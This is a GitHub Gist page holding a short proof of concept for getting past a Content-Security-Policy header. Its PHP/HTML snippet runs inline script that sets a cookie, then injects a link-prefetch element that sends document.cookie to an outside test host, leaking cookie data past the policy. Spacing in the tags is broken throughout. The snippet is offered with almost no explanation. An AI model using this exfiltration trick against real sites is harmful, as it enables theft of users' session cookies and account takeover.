Skip to content

Instantly share code, notes, and snippets.

@nani1337
Created December 21, 2017 05:22
Show Gist options
  • Save nani1337/ccba369dc7b2f7dc525ad353a35bc02b to your computer and use it in GitHub Desktop.
Save nani1337/ccba369dc7b2f7dc525ad353a35bc02b to your computer and use it in GitHub Desktop.
If the csp rules looks like this
Content-Security-Policy : default-src 'self' ; script-src 'self' test . N0tr00t . Com 'unsafe-inline' ;
poc bypass:
<? php
header ( "Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';" );
?>
<html>
<head> </ head>
<body>
csp header test
<script>
document.cookie = "csp =" + escape ("sad @ jisajid & * JDSJddsajhdsajkh21sa213123o1") + ";";
var n0t = document.createElement ("link");
n0t.setAttribute ("rel", "prefetch");
n0t.setAttribute ("href", "//1J38ax.chromecsptest.test.text.com/?" + document .cookie);
document.head.appendChild (n0t);
</ script>
</ body>
</ html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment